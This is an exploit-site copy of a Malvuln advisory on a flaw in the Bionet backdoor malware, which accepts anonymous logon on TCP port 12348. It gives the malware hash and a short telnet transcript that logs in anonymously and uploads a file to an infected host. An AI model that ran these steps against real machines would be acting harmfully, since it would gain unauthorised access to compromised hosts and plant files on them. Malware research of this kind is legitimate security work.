Backdoor.Win32.Bionet.10 / Anonymous Logon

CVE Category Price Severity
N/A CWE-259 N/A High
Author Risk Exploitation Type Date
Anonymous High Remote 2021-02-19
Our sensors found this exploit at:

Below is a copy:

Backdoor.Win32.Bionet.10 / Anonymous Logon
Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Bionet.10
Vulnerability: Anonymous Logon
Description: The backdoor listens on TCP port 12348 and allows anonymous logon credentials to be used to access an infected host.
Type: PE32
MD5: be559307f5cd055f123a637b1135c8d3
Vuln ID: MVID-2021-0099
Dropped files: 
Disclosure: 02/18/2021

TELNET x.x.x.x 12348

220 BNFTP Server ready.                                                                                                 
USER anonymous                                                                                                          
331 Password required for anonymous.                                                                                    
PASS anonymous                                                                                                          
230 User anonymous logged in.                                                                                                                                                                                
227 Entering Passive Mode (192,168,1,10,194,160).                                                                     
STOR 1.js                                                                                                               
150 Opening data connection for 1.js.                                                                                   
226 File received ok                                                                                                    
227 Entering Passive Mode (192,168,1,10,194,162).  

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